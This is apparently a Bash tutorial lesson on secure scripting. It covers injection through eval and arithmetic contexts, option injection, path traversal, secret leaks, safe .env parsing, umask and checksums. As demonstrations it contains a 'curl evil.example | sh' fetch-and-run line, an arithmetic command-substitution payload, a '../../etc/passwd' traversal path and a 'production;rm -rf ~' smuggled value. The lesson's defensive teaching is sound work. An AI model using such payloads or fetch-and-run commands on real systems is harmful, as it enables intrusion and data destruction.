Skip to main content
Bash · lesson 19 of 22
Bash intermediate Lesson 19 of 22

Also part of: DevSecOps (AppSec in the pipeline) Web Security (OWASP Top 10, fix-side)

Bash Security Best Practices

Write secure Bash scripts — safe temp files with mktemp, avoiding command injection, handling secrets, and setting file permissions.

By SkillByExample · Updated

Every example below is a complete script, run with bash 5.2, GNU coreutils and ShellCheck 0.9 on Ubuntu 24.04 as a normal user. None of them touches a real system file.

Word Splitting vs Real Injection

Here is what an unquoted variable can do, and what it can’t:

touch report.txt
filename='report.txt; echo INJECTED'

echo "-- unquoted:"
ls $filename
echo "-- quoted:"
ls "$filename"
echo "-- eval:"
eval "ls $filename"
$ bash injection.sh
-- unquoted:
ls: cannot access 'report.txt;': No such file or directory
ls: cannot access 'echo': No such file or directory
ls: cannot access 'INJECTED': No such file or directory
-- quoted:
ls: cannot access 'report.txt; echo INJECTED': No such file or directory
-- eval:
report.txt
INJECTED

The unquoted expansion split the value into three arguments, but the ; never acted as a command separator. Bash doesn’t re-parse expanded values. eval does, and it ran the attacker’s echo. Anything that feeds a value back through the parser is a real injection point: eval, bash -c "$x", source, and ssh host "$x". Keep untrusted data out of all of them. Arithmetic is a less obvious one, covered below.

Option Injection

Word splitting can still inject options, and quoting alone doesn’t stop that:

printf 'root:x:0:0\nalice:x:1000:1000\nbob:x:1001:1001\n' > users.txt
user_input="-v root"
echo "-- unquoted:"; grep $user_input users.txt
user_input="-v"
echo "-- quoted but no --:"; grep "$user_input" users.txt
echo "-- with --:"; grep -- "$user_input" users.txt || echo "(no line contains '-v')"
$ bash grep-flags.sh
-- unquoted:
alice:x:1000:1000
bob:x:1001:1001
-- quoted but no --:
-- with --:
(no line contains '-v')

The unquoted input became the -v flag and inverted the search. Quoted, "-v" was still read as an option. grep then took users.txt as the pattern and read stdin, so the search silently returned nothing. -- marks the end of options, so everything after it is data. Use it whenever an argument comes from outside the script.

Arithmetic Contexts Run Code

There’s one place where bash does re-parse a plain variable’s value without eval: arithmetic. Inside $(( )), (( )), let, and the numeric operators of [[ ]] (-eq, -gt, …), a variable’s value is evaluated as an arithmetic expression. An expression can contain an array index, and an array index can contain $(…):

# arith.sh: treat the first argument as a count
num=$1
echo "next: $(( num + 1 ))"
if [[ $num -gt 0 ]]; then echo "positive"; fi
[ "$num" -gt 0 ] && echo "positive ([ ])"
$ bash arith.sh 41
next: 42
positive
positive ([ ])
$ bash arith.sh 'a[$(echo injected >&2)0]'
injected
next: 1
injected
arith.sh: line 5: [: a[$(echo injected >&2)0]: integer expression expected

The harmless echo ran twice: once for $(( num + 1 )) and once for [[ $num -gt 0 ]]. Quoting doesn’t help, because the value is expanded as text first, and then the arithmetic evaluator parses that text as an expression, runs the command substitution inside the index, and uses a[0] (unset, so 0). The single-bracket [ builtin only accepts a literal integer, so it refuses the value instead (bash 5.3 words the error as integer expected). That’s why [[ $x -gt 0 ]] is less safe than [ "$x" -gt 0 ] for untrusted input, even though [[ ]] is safer almost everywhere else.

The fix is to check the value as text before it gets anywhere near arithmetic. =~ compares strings and never evaluates its left side:

# arith-safe.sh: validate as text first, then do arithmetic
num=$1
if [[ ! $num =~ ^[0-9]+$ ]]; then
  echo "not a number: $num" >&2
  exit 1
fi
echo "next: $(( 10#$num + 1 ))"
if (( 10#$num > 0 )); then echo "positive"; fi
$ bash arith-safe.sh 41
next: 42
positive
$ bash arith-safe.sh 'a[$(echo injected >&2)0]'; echo "exit $?"
not a number: a[$(echo injected >&2)0]
exit 1
$ bash arith-safe.sh 08
next: 9
positive

Once the value is known to be digits only, arithmetic on it is safe. The 10# prefix forces base 10. Without it, an input such as 08 would be read as octal (a leading zero means octal in bash arithmetic), where 8 isn’t a valid digit. Validate every number that comes from arguments, files, read, or the environment before you compare or compute with it.

Path Traversal

Resolve a user-supplied path, then check that it is still inside the directory you allow:

base=/srv/uploads
validate_path() {
  local real
  real=$(realpath -m -- "$base/$1")
  if [[ $real != "$base"/* ]]; then
    echo "REJECT $1 -> $real"
    return 1
  fi
  echo "ok     $1 -> $real"
}
validate_path "photos/cat.png"
validate_path "../../etc/passwd"
validate_path "photos/../../uploads-old/x"
validate_path "photos/../avatar.png"
$ bash traversal.sh
ok     photos/cat.png -> /srv/uploads/photos/cat.png
REJECT ../../etc/passwd -> /etc/passwd
REJECT photos/../../uploads-old/x -> /srv/uploads-old/x
ok     photos/../avatar.png -> /srv/uploads/avatar.png

The third case is why the check compares against "$base"/*, with the slash. A plain prefix test for /srv/uploads would accept /srv/uploads-old. realpath -m resolves .. and symlinks even when the path doesn’t exist yet.

Where Secrets Leak

On most Linux systems every user can see command-line arguments. Environment variables are less exposed, but they aren’t private either:

sh -c 'sleep 3' fake-mysql -uroot -pS3cretPass &
pid=$!
sleep 0.3
echo "-- ps shows arguments to everyone:"
ps -o args= -p "$pid"

DB_PASS=S3cretPass sh -c 'sleep 3' &
pid=$!
sleep 0.3
echo "-- env var is not in ps:"
ps -o args= -p "$pid"
echo "-- but the same user can still read it:"
tr '\0' '\n' < /proc/$pid/environ | grep DB_PASS
wait
$ bash argv.sh
-- ps shows arguments to everyone:
sh -c sleep 3 fake-mysql -uroot -pS3cretPass
-- env var is not in ps:
sh -c sleep 3
-- but the same user can still read it:
DB_PASS=S3cretPass

The environment kept the password out of ps. But /proc/PID/environ is readable by the same user and by root, and child processes inherit it. The safest routes are stdin (Practice task 2), a mode-600 file, or a secrets mount such as /run/secrets/.... Read the secret, use it, then unset it.

set -x is the other common leak. It prints every expanded argument:

TOKEN="tok_live_9f8e7d"
send() { :; }
set -x
send "Authorization: Bearer $TOKEN"
{ set +x; } 2>/dev/null
send "Authorization: Bearer $TOKEN"
set -x
echo "tracing back on"
$ bash xtrace.sh
+ send 'Authorization: Bearer tok_live_9f8e7d'
+ :
+ echo 'tracing back on'
tracing back on

The first call wrote the token to the trace, which CI systems save in build logs. Wrapping set +x in { ...; } 2>/dev/null hides the switch-off itself, and the second call left no trace.

Loading .env Without Executing It

source .env runs the file as code. A parser that only accepts KEY=value lines doesn’t:

cat > .env <<'EOF'
# app settings
DB_HOST=db.internal
DB_PASS="p@ss word"
EVIL=$(touch pwned-by-source)
lowercase=ignored
EOF

load_env() {
  local line key value
  while IFS= read -r line || [[ -n $line ]]; do
    [[ $line =~ ^[[:space:]]*(#|$) ]] && continue
    if [[ $line =~ ^([A-Z_][A-Z0-9_]*)=(.*)$ ]]; then
      key=${BASH_REMATCH[1]} value=${BASH_REMATCH[2]}
      [[ $value == \"*\" ]] && value=${value:1:-1}
      export "$key=$value"
    fi
  done < "$1"
}
load_env .env
echo "DB_PASS=[$DB_PASS] EVIL=[$EVIL]"
ls pwned-by-source 2>/dev/null || echo "load_env: nothing executed"
( source .env; ls pwned-by-source && echo "source: the \$(...) RAN" )
$ bash dotenv.sh
DB_PASS=[p@ss word] EVIL=[$(touch pwned-by-source)]
load_env: nothing executed
pwned-by-source
source: the $(...) RAN

load_env stored the $(...) as plain text. source executed it and created the file. export "$key=$value" is safe because export assigns the value without evaluating it.

umask and noclobber

umask sets the default permissions for everything the script creates afterwards:

umask 022; touch normal.txt; mkdir normal.d
umask 077; touch secret.txt; mkdir secret.d
stat -c '%a %n' normal.txt normal.d secret.txt secret.d
$ bash umask.sh
644 normal.txt
755 normal.d
600 secret.txt
700 secret.d

Set umask 077 at the top of any script that writes secrets, and the files are private from the moment they exist. A chmod afterwards leaves a window where they aren’t.

A predictable output path can be a trap. If an attacker creates a symlink there first, your write goes wherever the link points:

ln -s "$PWD/victim.txt" myfile
echo "original" > victim.txt

echo "hijacked" > myfile
echo "without noclobber, victim.txt now: $(cat victim.txt)"

echo "original" > victim.txt
set -o noclobber
echo "hijacked" > myfile || echo "noclobber refused to write"
echo "victim.txt: $(cat victim.txt)"
$ bash noclobber.sh
without noclobber, victim.txt now: hijacked
noclobber.sh: line 9: myfile: cannot overwrite existing file
noclobber refused to write
victim.txt: original

The first write followed the link and overwrote victim.txt. noclobber makes > refuse existing files. The real fix is not to use a predictable name at all: mktemp creates a new random name atomically, with mode 600.

Verify Before You Run

Check a downloaded script against a published checksum before you run it:

printf '#!/bin/sh\necho setup ok\n' > setup.sh
sha256sum setup.sh > setup.sh.sha256
sha256sum -c setup.sh.sha256

echo 'curl evil.example | sh' >> setup.sh
sha256sum -c setup.sh.sha256 || echo "refusing to run a modified setup.sh"
$ bash checksum.sh
setup.sh: OK
setup.sh: FAILED
sha256sum: WARNING: 1 computed checksum did NOT match
refusing to run a modified setup.sh

This only helps if the checksum comes from somewhere the attacker can’t also change, such as a signed release page. curl ... | bash skips the check entirely.

ShellCheck

ShellCheck finds many of these problems before the script ever runs:

cat > deploy.sh <<'EOF'
#!/bin/bash
target=$1
cd $target
rm -rf $target/*
eval "echo deploying $target"
EOF
shellcheck deploy.sh
$ bash lint.sh

In deploy.sh line 3:
cd $target
^--------^ SC2164 (warning): Use 'cd ... || exit' or 'cd ... || return' in case cd fails.
   ^-----^ SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean: 
cd "$target" || exit


In deploy.sh line 4:
rm -rf $target/*
       ^-------^ SC2115 (warning): Use "${var:?}" to ensure this never expands to /* .
       ^-----^ SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean: 
rm -rf "$target"/*

For more information:
  https://www.shellcheck.net/wiki/SC2115 -- Use "${var:?}" to ensure this nev...
  https://www.shellcheck.net/wiki/SC2164 -- Use 'cd ... || exit' or 'cd ... |...
  https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...

SC2115 is the rm -rf /* bug: with an empty $target, line 4 deletes everything it can. ShellCheck didn’t flag the eval on line 5, so a clean ShellCheck run doesn’t prove there’s no injection. Still review every eval yourself. Run shellcheck in CI so warnings block a merge.

Practice

  1. Rewrite deploy.sh so ShellCheck reports nothing and an empty argument can’t reach rm.

    Solution
    cat > deploy.sh <<'EOF'
    #!/bin/bash
    set -euo pipefail
    target=${1:?usage: deploy.sh <dir>}
    cd "$target" || exit 1
    rm -rf -- "${target:?}"/*
    echo "deploying $target"
    EOF
    shellcheck deploy.sh && echo "shellcheck: clean"
    $ bash p1.sh
    shellcheck: clean
  2. Pass a password to another process in a way that doesn’t show up in ps.

    Solution

    Send it on stdin:

    PASS="S3cretPass"
    printf '%s\n' "$PASS" | sh -c 'read -r p; sleep 2; echo "consumer got ${#p} chars"' &
    sleep 0.3
    ps -o args= -p $!
    wait
    $ bash p2.sh
    sh -c read -r p; sleep 2; echo "consumer got ${#p} chars"
    consumer got 10 chars

    ps shows the command but not the secret. printf is a Bash builtin, so the password never appears as another process’s argument either. mysql, docker login --password-stdin and vault all accept secrets this way.

  3. Write validate_env so it accepts only production, staging or development, and test it with an injection attempt, a case variant and an empty string.

    Solution
    validate_env() {
      case "$1" in
        production|staging|development) echo "ok: $1" ;;
        *) echo "rejected: $1" >&2; return 1 ;;
      esac
    }
    for e in staging 'production;rm -rf ~' Production ''; do
      validate_env "$e" || true
    done
    $ bash p3.sh
    ok: staging
    rejected: production;rm -rf ~
    rejected: Production
    rejected:

    An allowlist rejects everything it doesn’t know. A denylist of “bad characters” always misses a case.

Frequently Asked Questions

How do I pass a secret to a command without exposing it in ps output?
Use environment variables or a file descriptor instead of command-line arguments. Command-line arguments are visible to all users via ps aux. Write the secret to stdin or a file with restricted permissions.
Why is eval dangerous?
eval executes its argument as a shell command. If user input reaches eval, an attacker can inject arbitrary commands. Avoid eval entirely — there is almost always a safer alternative.
What is a TOCTOU race condition?
Time-Of-Check-To-Time-Of-Use. You check if a file exists, then open it — but between the check and the open, an attacker replaces the file with a symlink. Use mktemp and O_EXCL file creation to avoid this.
Can an unquoted variable run injected commands in Bash?
Not by itself. Unquoted expansion causes word splitting and glob expansion, which can turn one argument into several or inject extra options, but a ; or $(...) inside the value is never executed. Execution happens when the value is re-parsed as code, through eval, bash -c, source, or similar. Arithmetic contexts such as $(( x + 1 )) and [[ $x -gt 0 ]] also evaluate the value, so validate numbers with a regex first.